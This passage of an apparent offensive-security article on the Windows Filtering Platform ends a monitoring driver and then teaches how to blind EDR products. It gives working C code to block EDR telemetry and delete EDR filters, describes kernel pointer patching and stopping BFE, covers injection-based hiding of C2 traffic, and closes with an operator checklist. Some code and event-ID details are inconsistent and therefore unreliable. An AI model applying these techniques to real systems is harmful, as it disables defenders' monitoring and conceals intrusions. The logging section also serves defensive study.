    FWP_BYTE_BLOB *appId = FV(FWPS_FIELD_ALE_AUTH_CONNECT_V4_ALE_APP_ID).byteBlob;
#undef FV

    UINT64 pid = 0;
    if (inMetaValues->currentMetadataValues & FWPS_METADATA_FIELD_PROCESS_ID)
        pid = inMetaValues->processId;

    LogConnection("CONNECT", pid, protocol, localIp, localPort, remoteIp, remotePort, appId);

    // Block check
    if ((remoteIp & BLOCK_MASK) == (BLOCK_NETWORK & BLOCK_MASK)) {
        classifyOut->actionType = FWP_ACTION_BLOCK;
        classifyOut->rights    &= ~FWPS_RIGHT_ACTION_WRITE;
        return;
    }

    classifyOut->actionType = FWP_ACTION_CONTINUE;
}

// ─── ALE_AUTH_RECV_ACCEPT_V4 classifyFn ──────────────────────────────────────

VOID NTAPI
ClassifyAccept(
    const FWPS_INCOMING_VALUES          *inFixedValues,
    const FWPS_INCOMING_METADATA_VALUES *inMetaValues,
    VOID                                *layerData,
    const VOID                          *classifyContext,
    const FWPS_FILTER                   *filter,
    UINT64                               flowContext,
    FWPS_CLASSIFY_OUT                   *classifyOut)
{
    UNREFERENCED_PARAMETER(layerData);
    UNREFERENCED_PARAMETER(classifyContext);
    UNREFERENCED_PARAMETER(filter);
    UNREFERENCED_PARAMETER(flowContext);

    if (!(classifyOut->rights & FWPS_RIGHT_ACTION_WRITE))
        return;

#define FV(x) inFixedValues->incomingValue[x].value
    UINT32 remoteIp   = FV(FWPS_FIELD_ALE_AUTH_RECV_ACCEPT_V4_IP_REMOTE_ADDRESS).uint32;
    UINT16 remotePort = FV(FWPS_FIELD_ALE_AUTH_RECV_ACCEPT_V4_IP_REMOTE_PORT).uint16;
    UINT32 localIp    = FV(FWPS_FIELD_ALE_AUTH_RECV_ACCEPT_V4_IP_LOCAL_ADDRESS).uint32;
    UINT16 localPort  = FV(FWPS_FIELD_ALE_AUTH_RECV_ACCEPT_V4_IP_LOCAL_PORT).uint16;
    UINT8  protocol   = FV(FWPS_FIELD_ALE_AUTH_RECV_ACCEPT_V4_IP_PROTOCOL).uint8;
    FWP_BYTE_BLOB *appId = FV(FWPS_FIELD_ALE_AUTH_RECV_ACCEPT_V4_ALE_APP_ID).byteBlob;
#undef FV

    UINT64 pid = 0;
    if (inMetaValues->currentMetadataValues & FWPS_METADATA_FIELD_PROCESS_ID)
        pid = inMetaValues->processId;

    LogConnection("ACCEPT", pid, protocol, localIp, localPort, remoteIp, remotePort, appId);

    classifyOut->actionType = FWP_ACTION_CONTINUE;
}

// ─── Shared notifyFn and flowDeleteFn ────────────────────────────────────────

NTSTATUS NTAPI
NotifyFn(FWPS_CALLOUT_NOTIFY_TYPE notifyType, const GUID *filterKey, FWPS_FILTER *filter)
{
    UNREFERENCED_PARAMETER(filterKey);
    UNREFERENCED_PARAMETER(filter);
    if (notifyType == FWPS_CALLOUT_NOTIFY_ADD_FILTER)
        InterlockedIncrement(&g_State.ActiveFilterCount);
    else if (notifyType == FWPS_CALLOUT_NOTIFY_DELETE_FILTER)
        InterlockedDecrement(&g_State.ActiveFilterCount);
    return STATUS_SUCCESS;
}

VOID NTAPI
FlowDeleteFn(UINT16 layerId, UINT32 calloutId, UINT64 flowContext)
{
    UNREFERENCED_PARAMETER(layerId);
    UNREFERENCED_PARAMETER(calloutId);
    UNREFERENCED_PARAMETER(flowContext);
}

// ─── Registration helper ──────────────────────────────────────────────────────

static NTSTATUS
RegisterCallout(
    _In_  HANDLE                    hEngine,
    _In_  const GUID               *calloutKey,
    _In_  FWPS_CALLOUT_CLASSIFY_FN  classifyFn,
    _In_  const GUID               *layerKey,
    _In_  PCWSTR                    name,
    _Out_ UINT32                   *kernelId,
    _Out_ UINT32                   *mgmtId)
{
    NTSTATUS status;

    // Kernel registration
    FWPS_CALLOUT kCallout   = {0};
    kCallout.calloutKey     = *calloutKey;
    kCallout.classifyFn     = classifyFn;
    kCallout.notifyFn       = NotifyFn;
    kCallout.flowDeleteFn   = FlowDeleteFn;

    status = FwpsCalloutRegister(g_State.DeviceObject, &kCallout, kernelId);
    if (!NT_SUCCESS(status)) return status;

    // Management registration
    FWPM_CALLOUT mCallout       = {0};
    mCallout.calloutKey         = *calloutKey;
    mCallout.displayData.name   = (PWSTR)name;
    mCallout.applicableLayer    = *layerKey;

    status = FwpmCalloutAdd(hEngine, &mCallout, NULL, mgmtId);
    return status;
}

static NTSTATUS
AddFilter(
    _In_  HANDLE   hEngine,
    _In_  const GUID *layerKey,
    _In_  const GUID *calloutKey,
    _In_  PCWSTR   name,
    _Out_ UINT64  *filterId)
{
    FWPM_FILTER f       = {0};
    f.displayData.name  = (PWSTR)name;
    f.layerKey          = *layerKey;
    f.subLayerKey       = WFPMON_SUBLAYER;
    f.weight.type       = FWP_EMPTY;
    f.numFilterConditions = 0;                            // match all
    f.action.type       = FWP_ACTION_CALLOUT_TERMINATING;
    f.action.calloutKey = *calloutKey;

    return FwpmFilterAdd(hEngine, &f, NULL, filterId);
}

// ─── DriverUnload ─────────────────────────────────────────────────────────────

VOID DriverUnload(PDRIVER_OBJECT DriverObject)
{
    UNREFERENCED_PARAMETER(DriverObject);
    NTSTATUS status;

    if (g_State.EngineHandle) {
        if (g_State.ConnectFilterId)
            FwpmFilterDeleteById(g_State.EngineHandle, g_State.ConnectFilterId);
        if (g_State.AcceptFilterId)
            FwpmFilterDeleteById(g_State.EngineHandle, g_State.AcceptFilterId);
        if (g_State.ConnectCalloutMgmtId)
            FwpmCalloutDeleteById(g_State.EngineHandle, g_State.ConnectCalloutMgmtId);
        if (g_State.AcceptCalloutMgmtId)
            FwpmCalloutDeleteById(g_State.EngineHandle, g_State.AcceptCalloutMgmtId);
        FwpmSubLayerDeleteByKey(g_State.EngineHandle, &WFPMON_SUBLAYER);
        FwpmEngineClose(g_State.EngineHandle);
    }

    // Retry loop: classifyFn may still be executing
    if (g_State.ConnectCalloutKernelId) {
        do { status = FwpsCalloutUnregisterById(g_State.ConnectCalloutKernelId);
        } while (status == STATUS_DEVICE_BUSY);
    }
    if (g_State.AcceptCalloutKernelId) {
        do { status = FwpsCalloutUnregisterById(g_State.AcceptCalloutKernelId);
        } while (status == STATUS_DEVICE_BUSY);
    }

    if (g_State.DeviceObject)
        IoDeleteDevice(g_State.DeviceObject);

    DbgPrint("[WfpMonitor] Driver unloaded cleanly.\n");
}

// ─── DriverEntry ──────────────────────────────────────────────────────────────

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    UNREFERENCED_PARAMETER(RegistryPath);
    NTSTATUS status;

    DriverObject->DriverUnload = DriverUnload;
    RtlZeroMemory(&g_State, sizeof(g_State));

    // 1. Device object
    status = IoCreateDevice(DriverObject, 0, NULL,
                            FILE_DEVICE_NETWORK, 0, FALSE,
                            &g_State.DeviceObject);
    if (!NT_SUCCESS(status)) goto fail;

    // 2. Kernel callout registrations (before engine open)
    status = RegisterCallout(NULL, &WFPMON_CALLOUT_CONNECT_V4, ClassifyConnect,
        &FWPM_LAYER_ALE_AUTH_CONNECT_V4, L"WfpMonitor Connect",
        &g_State.ConnectCalloutKernelId, &g_State.ConnectCalloutMgmtId);
    // Note: mgmt registration needs engine handle — we split this below

    // Register kernel callout for connect
    {
        FWPS_CALLOUT kc = {0};
        kc.calloutKey   = WFPMON_CALLOUT_CONNECT_V4;
        kc.classifyFn   = ClassifyConnect;
        kc.notifyFn     = NotifyFn;
        kc.flowDeleteFn = FlowDeleteFn;
        status = FwpsCalloutRegister(g_State.DeviceObject, &kc,
                                     &g_State.ConnectCalloutKernelId);
        if (!NT_SUCCESS(status)) goto fail;
    }

    // Register kernel callout for accept
    {
        FWPS_CALLOUT kc = {0};
        kc.calloutKey   = WFPMON_CALLOUT_ACCEPT_V4;
        kc.classifyFn   = ClassifyAccept;
        kc.notifyFn     = NotifyFn;
        kc.flowDeleteFn = FlowDeleteFn;
        status = FwpsCalloutRegister(g_State.DeviceObject, &kc,
                                     &g_State.AcceptCalloutKernelId);
        if (!NT_SUCCESS(status)) goto fail;
    }

    // 3. Engine handle
    status = FwpmEngineOpen(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL,
                            &g_State.EngineHandle);
    if (!NT_SUCCESS(status)) goto fail;

    // 4. Atomic transaction
    status = FwpmTransactionBegin(g_State.EngineHandle, 0);
    if (!NT_SUCCESS(status)) goto fail;

    // 5. Sublayer
    {
        FWPM_SUBLAYER sl    = {0};
        sl.subLayerKey      = WFPMON_SUBLAYER;
        sl.displayData.name = L"WfpMonitor Sublayer";
        sl.weight           = 0x6000;  // Below EDR (0x8000), above Windows Firewall (0x4000)
        status = FwpmSubLayerAdd(g_State.EngineHandle, &sl, NULL);
        if (!NT_SUCCESS(status)) goto abort;
    }

    // 6. Management callout registrations
    {
        FWPM_CALLOUT mc     = {0};
        mc.calloutKey       = WFPMON_CALLOUT_CONNECT_V4;
        mc.displayData.name = L"WfpMonitor ALE Connect V4";
        mc.applicableLayer  = FWPM_LAYER_ALE_AUTH_CONNECT_V4;
        status = FwpmCalloutAdd(g_State.EngineHandle, &mc, NULL,
                                &g_State.ConnectCalloutMgmtId);
        if (!NT_SUCCESS(status)) goto abort;

        mc.calloutKey       = WFPMON_CALLOUT_ACCEPT_V4;
        mc.displayData.name = L"WfpMonitor ALE Accept V4";
        mc.applicableLayer  = FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4;
        status = FwpmCalloutAdd(g_State.EngineHandle, &mc, NULL,
                                &g_State.AcceptCalloutMgmtId);
        if (!NT_SUCCESS(status)) goto abort;
    }

    // 7. Filters
    status = AddFilter(g_State.EngineHandle, &FWPM_LAYER_ALE_AUTH_CONNECT_V4,
        &WFPMON_CALLOUT_CONNECT_V4, L"WfpMonitor Connect Filter",
        &g_State.ConnectFilterId);
    if (!NT_SUCCESS(status)) goto abort;

    status = AddFilter(g_State.EngineHandle, &FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4,
        &WFPMON_CALLOUT_ACCEPT_V4, L"WfpMonitor Accept Filter",
        &g_State.AcceptFilterId);
    if (!NT_SUCCESS(status)) goto abort;

    // 8. Commit
    status = FwpmTransactionCommit(g_State.EngineHandle);
    if (!NT_SUCCESS(status)) goto abort;

    DbgPrint("[WfpMonitor] Loaded. Monitoring ALE_AUTH_CONNECT_V4 and ALE_AUTH_RECV_ACCEPT_V4.\n");
    return STATUS_SUCCESS;

abort:
    FwpmTransactionAbort(g_State.EngineHandle);
fail:
    DriverUnload(DriverObject);
    return status;
}
```

***

### 7. Offensive WFP Manipulation: Blinding the EDR

An EDR's WFP presence is a set of kernel objects plus management objects. They can be manipulated. The real question is cost: how much noise each option creates, how long it works, and what the defender sees.

This section covers five techniques, from loudest to most surgical.

#### 7.1 Reconnaissance — Mapping the WFP State with WfpAtlas

Before any WFP manipulation, enumerate first. You need the registered objects, their GUIDs, their runtime IDs, their sublayer weights, and how they relate to each other. Guesswork here is how you block the wrong traffic or trip a tamper path you did not account for.

You can do this manually with `FwpmProviderEnum`, `FwpmCalloutEnum`, and `FwpmFilterEnum`, then correlate the output yourself. That works, but the raw output is tedious to read and easy to misinterpret.

[**WfpAtlas**](https://github.com/exploiter-taz/WfpAtlas) packages that enumeration into a usable view.

What it adds over raw enumeration:

* **Provider-to-callout-to-filter linkage.** You see the full ownership chain: `CrowdStrike Provider → Callout {GUID} → Filter ID 0x0000A1B2` at `ALE_AUTH_CONNECT_V4`, sublayer weight `0x8000`. This is the information you need to plan a targeted operation.
* **Layer name resolution.** The raw API gives you a GUID like `{E1CD9036-29AD-3B17-8B44-BE99FFEE90F4}`. WfpAtlas translates that to `FWPM_LAYER_ALE_AUTH_CONNECT_V4`. One is meaningful, the other is noise.
* **Weight visualization.** Seeing all registered sublayers sorted by weight in a single view lets you immediately identify where a new blocking sublayer needs to sit to take priority over the EDR's sublayer.
* **No-noise read.** It does not modify WFP state. Enumeration through the management API generates no ETW events and no Security Log entries. The main risk is process creation telemetry on the binary itself.

**Running WfpAtlas:**

```
git clone https://github.com/exploiter-taz/WfpAtlas
# Build with VS + WDK or MSVC
WfpAtlas.exe
```

Sample output (abbreviated):

```
[PROVIDERS]
  [00] {A0B1C2D3-...}  MicrosoftDefenderNetworkProvider   svc: WinDefend
  [01] {DEADBEEF-...}  AcmeEDR Network Monitor            svc: AcmeEDRSvc
  [02] {11223344-...}  Windows Filtering Platform         svc: (none)

[SUBLAYERS]
  Weight 0x8000  {DEADBEEF-0001-...}  AcmeEDR Primary Sublayer
  Weight 0x7000  {A0B1C2D3-0001-...}  Defender Network Sublayer
  Weight 0x4000  {builtin}             Windows Firewall Default Sublayer

[CALLOUTS @ FWPM_LAYER_ALE_AUTH_CONNECT_V4]
  KernelId: 0x00000043  Name: AcmeEDR Outbound Monitor   Provider: {DEADBEEF-...}
  KernelId: 0x00000044  Name: AcmeEDR Inbound Monitor    Provider: {DEADBEEF-...}
  KernelId: 0x0000001F  Name: WFP TDI callout            Provider: (builtin)

[FILTERS @ FWPM_LAYER_ALE_AUTH_CONNECT_V4]
  Id: 0x000000000000A1B2  Name: AcmeEDR Connect Monitor
    Sublayer: AcmeEDR Primary Sublayer (0x8000)
    Action:   FWP_ACTION_CALLOUT_TERMINATING → Callout {DEADBEEF-0002-...}
    Conditions: 0 (match all)
    Weight: 0x0000000000000032 (effective)
```

From this output you can pull the values needed for the next step:

* **Provider GUID**: `{DEADBEEF-...}` — filter by this in subsequent enum calls to scope to this EDR only
* **Sublayer weight**: `0x8000` — your new blocking sublayer needs weight `> 0x8000` to pre-empt it
* **Kernel callout ID**: `0x00000043` — target for `FwpsCalloutUnregisterById` if you go that route
* **Filter ID**: `0x000000000000A1B2` — target for `FwpmFilterDeleteById`
* **Action type**: `FWP_ACTION_CALLOUT_TERMINATING` — tells you this filter has blocking capability, not just inspection

If you want the raw enumeration in your own tooling without pulling in WfpAtlas as a dependency, the code below is the minimal implementation of what WfpAtlas does under the hood:

```c
// Minimal WFP recon — read-only, no audit events generated
// Requires: fwpuclnt.lib, <fwpmu.h>

#include <fwpmu.h>
#include <stdio.h>
#pragma comment(lib, "fwpuclnt")

void WfpRecon() {
    HANDLE hEngine = NULL;
    if (FwpmEngineOpen(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine) != ERROR_SUCCESS)
        return;

    // ── Enumerate Providers (who owns what) ───────────────────────────────────
    printf("\n[PROVIDERS]\n");
    {
        HANDLE hEnum; UINT32 count; FWPM_PROVIDER **p;
        FwpmProviderCreateEnumHandle(hEngine, NULL, &hEnum);
        FwpmProviderEnum(hEngine, hEnum, 512, &p, &count);
        for (UINT32 i = 0; i < count; i++) {
            wprintf(L"  {%08lX} %-45ws svc: %ws\n",
                p[i]->providerKey.Data1,
                p[i]->displayData.name,
                p[i]->serviceName ? p[i]->serviceName : L"(none)");
        }
        FwpmFreeMemory((void**)&p);
        FwpmProviderDestroyEnumHandle(hEngine, hEnum);
    }

    // ── Enumerate Sublayers (reveals priority landscape) ──────────────────────
    printf("\n[SUBLAYERS]\n");
    {
        HANDLE hEnum; UINT32 count; FWPM_SUBLAYER **s;
        FwpmSubLayerCreateEnumHandle(hEngine, NULL, &hEnum);
        FwpmSubLayerEnum(hEngine, hEnum, 256, &s, &count);
        for (UINT32 i = 0; i < count; i++) {
            wprintf(L"  Weight 0x%04X  {%08lX}  %ws\n",
                s[i]->weight, s[i]->subLayerKey.Data1,
                s[i]->displayData.name);
        }
        FwpmFreeMemory((void**)&s);
        FwpmSubLayerDestroyEnumHandle(hEngine, hEnum);
    }

    // ── Enumerate Callouts (kernel inspection callbacks) ───────────────────────
    printf("\n[CALLOUTS]\n");
    {
        HANDLE hEnum; UINT32 count; FWPM_CALLOUT **c;
        FwpmCalloutCreateEnumHandle(hEngine, NULL, &hEnum);
        FwpmCalloutEnum(hEngine, hEnum, 1024, &c, &count);
        for (UINT32 i = 0; i < count; i++) {
            wprintf(L"  KernelId: 0x%08X  Name: %-40ws  Layer: {%08lX}\n",
                c[i]->calloutId, c[i]->displayData.name,
                c[i]->applicableLayer.Data1);
        }
        FwpmFreeMemory((void**)&c);
        FwpmCalloutDestroyEnumHandle(hEngine, hEnum);
    }

    // ── Enumerate Filters (the actual rules) ───────────────────────────────────
    printf("\n[FILTERS]\n");
    {
        HANDLE hEnum; UINT32 count; FWPM_FILTER **f;
        FwpmFilterCreateEnumHandle(hEngine, NULL, &hEnum);
        FwpmFilterEnum(hEngine, hEnum, 8192, &f, &count);
        for (UINT32 i = 0; i < count; i++) {
            wprintf(L"  Id: 0x%016llX  Name: %-40ws  Action: 0x%08X  Conds: %u\n",
                f[i]->filterId, f[i]->displayData.name,
                f[i]->action.type, f[i]->numFilterConditions);
        }
        FwpmFreeMemory((void**)&f);
        FwpmFilterDestroyEnumHandle(hEngine, hEnum);
    }

    FwpmEngineClose(hEngine);
}
```

**The key outputs you are looking for:**

From the enumeration you identify:

* The EDR's **provider GUID** — matched by display name containing vendor strings like `"CrowdStrike"`, `"SentinelOne"`, `"Carbon Black"`, `"Elastic"`, etc.
* The **callout GUIDs** associated with that provider
* The **filter IDs** (`UINT64`) that reference those callouts
* The **sublayer weight** the EDR registered at (typically 0x8000)

Once you have those values, technique selection becomes straightforward.

#### 7.2 Technique 1: Adding Higher-Weight Blocking Filters (EDRSilencer Model)

**Concept:** Instead of removing the EDR's filters, add your own filter at a higher sublayer weight and block the EDR process's outbound network connections. If it cannot reach its backend, it cannot ship telemetry.

This is the model used by [EDRSilencer](https://github.com/netero1010/EDRSilencer). It is attractive because you do not modify the EDR's own objects.

```c
// Add a blocking filter targeting the EDR process by executable path
// Blocks ALL outbound connections from the target process

#include <fwpmu.h>
#pragma comment(lib, "fwpuclnt")

BOOL BlockProcessNetworkByPath(PCWSTR edrExePath) {
    HANDLE hEngine = NULL;
    FWP_BYTE_BLOB *appId = NULL;
    UINT64 filterId = 0;
    BOOL success = FALSE;

    // Step 1: Resolve the NT device path from a Win32 path
    // FwpmGetAppIdFromFileName handles the path translation for us
    DWORD err = FwpmGetAppIdFromFileName(edrExePath, &appId);
    if (err != ERROR_SUCCESS) {
        printf("[-] FwpmGetAppIdFromFileName failed: %lu\n", err);
        goto cleanup;
    }

    err = FwpmEngineOpen(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
    if (err != ERROR_SUCCESS) goto cleanup;

    err = FwpmTransactionBegin(hEngine, 0);
    if (err != ERROR_SUCCESS) goto cleanup;

    // Step 2: Build condition matching the target executable
    FWPM_FILTER_CONDITION cond      = {};
    cond.fieldKey                    = FWPM_CONDITION_ALE_APP_ID;
    cond.matchType                   = FWP_MATCH_EQUAL;
    cond.conditionValue.type         = FWP_BYTE_BLOB_TYPE;
    cond.conditionValue.byteBlob     = appId;

    // Step 3: Build the blocking filter
    FWPM_FILTER filter               = {};
    WCHAR name[]                     = L"WfpBlock";
    filter.displayData.name          = name;
    filter.action.type               = FWP_ACTION_BLOCK;
    filter.numFilterConditions       = 1;
    filter.filterCondition           = &cond;

    // Step 4: Apply to both V4 and V6 connect layers
    // ALE_AUTH_CONNECT fires on connect() — the EDR cannot send telemetry
    filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4;
    err = FwpmFilterAdd(hEngine, &filter, NULL, &filterId);
    if (err != ERROR_SUCCESS) goto abort;
    printf("[+] Added block filter (V4 connect) id=0x%llX\n", filterId);

    filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6;
    err = FwpmFilterAdd(hEngine, &filter, NULL, &filterId);
    if (err != ERROR_SUCCESS) goto abort;
    printf("[+] Added block filter (V6 connect) id=0x%llX\n", filterId);

    // Also block outbound sends for UDP-based telemetry
    filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4;

    err = FwpmTransactionCommit(hEngine);
    success = (err == ERROR_SUCCESS);
    if (success) printf("[+] EDR process network blocked via WFP\n");
    goto cleanup;

abort:
    FwpmTransactionAbort(hEngine);
cleanup:
    if (appId) FwpmFreeMemory((void**)&appId);
    if (hEngine) FwpmEngineClose(hEngine);
    return success;
}
```

**What gets logged:**

* No ETW events for filter *deletion*
* `FwpmFilterAdd` *does* generate an event when WFP auditing is enabled (Security Log event ID 5441: "A Windows Filtering Platform filter has been added")
* The filter's display name is visible in the event log — use an innocuous name
* The newly added filter appears in `FwpmFilterEnum` output — an EDR that periodically inventories all WFP filters will notice an unknown provider's filter

**Detection resistance:** Moderate. An EDR that monitors its own backend connectivity will usually notice within minutes. Some products cache telemetry locally and flush it later.

#### 7.3 Technique 2: Filter Deletion via Management API

**Concept:** Use the EDR's own filter IDs (obtained from reconnaissance) to delete them directly.

```c
// Delete a specific EDR filter by its runtime filter ID
// filterId obtained from FwpmFilterEnum reconnaissance

BOOL RemoveEDRFilter(UINT64 filterId) {
    HANDLE hEngine = NULL;
    FwpmEngineOpen(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);

    DWORD err = FwpmFilterDeleteById(hEngine, filterId);
    if (err == ERROR_SUCCESS) {
        printf("[+] Deleted filter 0x%llX\n", filterId);
    } else {
        printf("[-] DeleteById failed: %lu\n", err);
    }

    FwpmEngineClose(hEngine);
    return (err == ERROR_SUCCESS);
}
```

**What gets logged:**

* Security Log Event ID 5444: "A Windows Filtering Platform filter has been changed" / or 5446 "A Windows Filtering Platform callout has been changed"
* ETW provider `Microsoft-Windows-WFP` event for filter removal
* The EDR's `notifyFn` callback fires with `FWPS_CALLOUT_NOTIFY_DELETE_FILTER` — this is the tampering alert trigger

**Detection resistance:** Low. This is loud. The EDR's watchdog usually sees the delete quickly and re-registers the object. The blind window is usually seconds.

**When useful:** In combination with a very fast action — delete filters, execute the network operation, re-register. Not viable for sustained operations.

#### 7.4 Technique 3: Callout Unregistration

**Concept:** Unregister the EDR's *kernel* callout. Once unregistered, all filters referencing that callout automatically become BLOCK actions (by WFP design). This has the paradoxical effect of *breaking* the EDR's network visibility but also *breaking* legitimate traffic through the EDR's filters.

From user mode:

```c
// FwpmCalloutDeleteById removes the management registration
// The kernel registration requires a kernel driver to call FwpsCalloutUnregisterById
FwpmCalloutDeleteById(hEngine, edr_callout_mgmt_id);
```

From kernel mode (requires your own loaded driver):

```c
FwpsCalloutUnregisterById(edr_kernel_callout_id);
```

**What gets logged:** Identical to filter deletion — ETW events fire, `notifyFn` fires, Security Log events 5440/5441. The EDR's watchdog will re-register.

**Special case — the phantom callout attack:** Delete the management registration without unregistering the kernel callout. The filter engine loses the reference, so filters targeting that callout become BLOCK actions. That breaks traffic instead of visibility, and it still leaves an audit trail.

#### 7.5 Technique 4: Kernel-Level classifyFn Pointer Patching

**Concept:** With kernel read/write primitives, locate the `FWPS_CALLOUT` structure for the EDR's callout and overwrite the `classifyFn` pointer with a no-op function. The callout still appears registered, but inspection never runs.

```
// Pseudocode — actual implementation requires kernel R/W and structure offset knowledge
PVOID nop_classify = &MyNopClassifyFn;  // always returns FWP_ACTION_CONTINUE
WriteKernelMemory(edr_callout_classify_fn_ptr, &nop_classify, sizeof(PVOID));
```

**Finding the callout structure:** The kernel filter engine (`fwpkclnt.sys`) maintains an internal callout table indexed by callout ID. Offset finding requires:

* Kernel symbol resolution (via `MmGetSystemRoutineAddress` or PDB symbols)
* Or pattern-matching against the `FwpsCalloutRegister` implementation to find where it stores function pointers

**What gets logged:** Potentially nothing — no API calls, no WFP ETW events. Some EDRs deploy their own kernel callback that periodically verifies their callout's function pointers are intact (SSDT-style integrity check). Those EDRs will detect this.

**Detection resistance:** High against products that do not verify the pointer. Low against products that do.

**Prerequisites:** Kernel code execution. This typically requires a BYOVD attack or a kernel vulnerability, making it an advanced technique appropriate for targeted operations where stealth is paramount.

#### 7.6 Technique 5: BFE Service Disruption

**Concept:** Stop the BFE service. Without BFE, no new WFP filters can be added and the management API becomes unavailable. Existing kernel filters continue operating.

```powershell
# Requires SYSTEM or SeServiceStopPrivilege
sc stop bfe
```

**What gets logged:** Extremely loud. Windows Security Log event, service control manager events, and — most critically — every single security product's keepalive check will fail simultaneously, sending a global tamper alert to the SOC.

**Practical value:** Very low for stealth work. It only makes sense when detection is already accepted.

**Note on existing filter behavior:** Kernel filters registered before BFE stops continue operating. The kernel engine operates independently of BFE. What breaks is the *management plane* — you cannot add new filters, enumerate objects through the management API, or persist policy changes.

#### 7.7 Comparison Matrix

| Technique                  | Requires              | Noise Level        | Blind Window                                  | EDR Watchdog Recovery        |
| -------------------------- | --------------------- | ------------------ | --------------------------------------------- | ---------------------------- |
| Higher-weight block filter | Admin                 | Low-Medium         | Minutes (until EDR detects blocked telemetry) | N/A (filters not removed)    |
| Filter deletion via API    | Admin                 | High               | Seconds                                       | \~5–30 seconds               |
| Callout unregistration     | Admin + kernel driver | High               | Seconds                                       | \~5–30 seconds               |
| classifyFn pointer patch   | Kernel R/W            | Low (no API calls) | Sustained                                     | None (if no integrity check) |
| BFE disruption             | SYSTEM                | Extreme            | Immediate but obvious                         | Minutes (service restart)    |

**Recommended approach for sustained operations:** The higher-weight blocking filter approach (Technique 1) combined with process context laundering (Section 9). Block the EDR's outbound telemetry process while routing your C2 traffic through a legitimate system process. The EDR can still classify your traffic but cannot report it.

***

### 8. What Gets Logged: The Defender's View

Technique choice depends on defender visibility, so this part matters.

**ETW Provider `Microsoft-Windows-WFP`** fires on:

* `FwpsCalloutRegister` / `FwpsCalloutUnregisterById` (kernel-level callout changes)
* `FwpmFilterAdd` / `FwpmFilterDeleteById` (management API filter changes)
* `FwpmCalloutAdd` / `FwpmCalloutDeleteById` (management API callout changes)
* Any filter matching a packet with `FWPM_FILTER_FLAG_LOG_ALLOW` or `FWPM_FILTER_FLAG_LOG_DROP` set

**Windows Security Log events 5440–5461** cover all WFP object lifecycle changes. Events relevant to evasion detection:

| Event ID | Description                           |
| -------- | ------------------------------------- |
| 5440     | WFP callout present at system startup |
| 5441     | WFP filter added                      |
| 5442     | WFP filter deleted                    |
| 5443     | WFP filter modified                   |
| 5444     | WFP callout changed                   |
| 5446     | WFP callout deleted                   |
| 5447     | WFP filter changed (by provider)      |

**EDR notifyFn watchdog:** When a filter referencing an EDR callout is deleted, the `notifyFn` callback fires with `FWPS_CALLOUT_NOTIFY_DELETE_FILTER`. If the EDR's reference count drops to zero, it immediately re-registers. The typical re-registration window is 1–10 seconds depending on the EDR implementation.

**Periodic filter inventory:** Some EDRs run a periodic thread that calls `FwpmFilterEnum` and `FwpmCalloutEnum` to verify their own objects are present. Unknown foreign filters (new providers, suspicious display names) also trigger alerts on some platforms.

**Driver load events:** Loading any kernel driver triggers ETW events visible to the EDR (through PsSetLoadImageNotifyRoutine callbacks). Loading a driver that then calls `FwpsCalloutRegister` generates a second, WFP-specific event. Both events appear in the kernel's driver load log before your `DriverEntry` even begins executing.

***

### 9. Process Context Evasion: Working With WFP, Not Against It

The most durable option is often to leave WFP alone and change the process context instead. If the process making the connection looks legitimate, the attribution does too.

**The attribution rule:** WFP attributes a connection to the process that called `connect()`. If a trusted process makes that call, the event is attributed to that trusted process.

**Injection-based context laundering:**

![](/files/KQY7G1Lymh7JsWJgkeJE)

The EDR still sees the connection. What changes is the process context. If that context is `svchost.exe` or another expected network client, the event blends into normal host behavior more easily.

**WinHTTP/WinInet proxy routing:** Using `WinHTTP` or `WinInet` APIs in your implant may route traffic through the system's WinHTTP proxy service, which runs in a `svchost.exe` instance. The WFP event is attributed to that `svchost.exe` instance.

**Named pipe C2 pivoting:** The implant communicates with an agent stub over a named pipe. The agent stub runs inside a legitimate process and handles all network I/O. The WFP callout records zero network activity from the implant binary.

**JA3 randomization:** Your C2 framework's TLS implementation has a fingerprinted JA3 hash. Randomizing the cipher suite list order, supported groups, and extension order changes the JA3 hash. This does not help with process attribution, but it breaks signature-based JA3 matching in the EDR's STREAM\_V4 callout.

***

### 10. Summary and Operator Checklist

**Architecture**

* WFP is the kernel's unified network filtering framework. Every EDR's network telemetry is a WFP callout driver.
* The data path is: App → Winsock → afd.sys → tcpip.sys shims → fwpkclnt.sys → EDR callout.
* BFE manages policy; fwpkclnt.sys enforces it. Killing BFE does not immediately blind kernel callouts.
* ALE layers are the EDR's primary registration point — they provide PID and full app path.

**What the EDR collects**

* On every `connect()`: your PID, your full executable path, remote IP:port, protocol
* On every DNS query: which process resolved which domain
* On every TLS handshake: SNI, JA3 fingerprint, server certificate metadata
* Over time: connection timing patterns used for beacon detection

**Before touching WFP**

* Enumerate providers, callouts, and filters with `FwpmProviderEnum`, `FwpmCalloutEnum`, `FwpmFilterEnum`
* Identify EDR objects by display name or provider GUID
* Note sublayer weights to understand what priority your interventions need

**Technique selection**

* ☑ **Sustained stealth, no kernel access:** Higher-weight blocking filter (Technique 1) + process context laundering (Section 9)
* ☑ **Short window, admin access:** Filter deletion (Technique 2) — account for 5–30 second re-registration
* ☑ **Deep stealth, kernel access available:** classifyFn pointer patch (Technique 4)
* ✗ **Avoid BFE disruption** unless detection is already accepted

**Process context evasion**

* Inject into a process that legitimately makes HTTPS connections
* Use WinHTTP/WinInet for C2 communication
* Named pipe pivoting from implant to legitimate network process

***

### 11. References

* [WfpAtlas](https://github.com/exploiter-taz/WfpAtlas) — WFP enumeration and mapping tool built for pre-manipulation recon. Resolves layer GUIDs, links callouts to providers, visualizes sublayer weight ordering. Start here before touching anything.
* [EDRSilencer](https://github.com/netero1010/EDRSilencer/blob/main/EDRSilencer.c) — User-mode WFP blocking filter addition for EDR silencing
* [Blinding EDRs: A Deep Dive into WFP Manipulation](https://blog.scrt.ch/2025/08/25/blinding-edrs-a-deep-dive-into-wfp-manipulation/) — SCRT research on WFP manipulation techniques
